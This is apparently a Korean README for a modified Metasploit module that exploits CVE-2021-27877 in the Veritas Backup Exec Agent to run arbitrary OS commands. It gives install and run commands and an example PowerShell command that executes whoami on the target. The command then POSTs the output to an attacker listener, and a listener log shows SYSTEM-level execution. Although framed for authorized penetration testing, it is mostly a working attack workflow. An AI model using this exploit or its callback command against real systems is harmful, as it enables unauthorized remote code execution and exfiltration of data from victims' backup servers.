
CVE-2021-27877용 Rapid7 Metasploit 모듈의 수정 버전으로, 안정적인 취약점 검증을 위해 직접 명령 실행을 지원합니다. 익스플로잇 워크플로우, 모듈 수정 사항 및 사용 예시를 설명하는 문서를 포함합니다.
이 저장소는 Veritas Backup Exec Agent에 영향을 미치는 CVE-2021-27877을 대상으로 하는 원래 Rapid7 Metasploit 모듈의 수정된 버전을 포함합니다.
테스트 중에 원래 Metasploit 모듈은 대상이 취약하다는 것을 성공적으로 식별했지만, 페이로드 전송 단계가 실패하여 세션을 설정하는 데 계속 실패했습니다. 그러나 모듈을 분석한 결과 인증 및 기본 명령 실행 기능은 올바르게 작동하고 있었습니다.
취약점 검증을 단순화하기 위해 페이로드를 업로드하고 실행하는 대신, 취약한 NDMP 명령 실행 기능을 통해 사용자가 제공한 운영 체제 명령을 직접 실행하도록 모듈을 수정했습니다. 이렇게 하면 리버스 셸이나 페이로드 스테이징에 의존하지 않고도 원격 코드 실행을 더 쉽게 확인할 수 있습니다.
면책 조항: 이 개념 증명은 교육 목적 및 승인된 보안 테스트를 위해서만 제공됩니다. 소유한 시스템이나 명시적 권한이 있는 시스템에서만 사용하십시오.
참고: 테스트에 사용된 환경을 보호하기 위해 이 저장소의 모든 IP 주소는 익명화되었습니다. 예제 전체에서
192.168.x.x는 대상 호스트를 나타내며,192.168.y.y는 공격 시스템 또는 리스너를 나타냅니다. 이러한 대체는 개념 증명의 기능에는 영향을 미치지 않습니다.
원래 Rapid7 모듈과 비교하여 다음과 같은 수정 사항이 적용되었습니다:
COMMAND 런타임 옵션 추가.수정된 모듈을 로컬 Metasploit 모듈 디렉터리에 복사하십시오.
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Metasploit을 시작(또는 다시 시작)하고 로컬 모듈을 다시 로드하십시오:
msfconsole
reload_all
모듈을 실행하기 전에 HTTP 리스너(또는 HTTP POST 요청을 수신하고 표시할 수 있는 모든 웹 서버)를 시작하십시오. 이 리스너는 대상에서 실행된 명령의 출력을 수신합니다.
예를 들어, 사용자 지정 요청 핸들러가 있는 간단한 Python HTTP 서버, nc, 또는 원하는 HTTP 리스너를 사용할 수 있습니다.
모듈을 로드하십시오:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
필요한 옵션을 구성하십시오:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
COMMAND 옵션은 대상에서 실행하려는 모든 명령을 허용합니다.
이 모듈은 단일 명령을 실행하도록 설계되었으며 명령 출력을 자동으로 반환하지 않습니다.
출력을 검색하려면 명령 내에서 적절한 콜백 메커니즘(예: HTTP POST 요청 또는 다른 아웃바운드 채널)을 사용하고 리스너를 모니터링하십시오.
리스너 출력 예:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system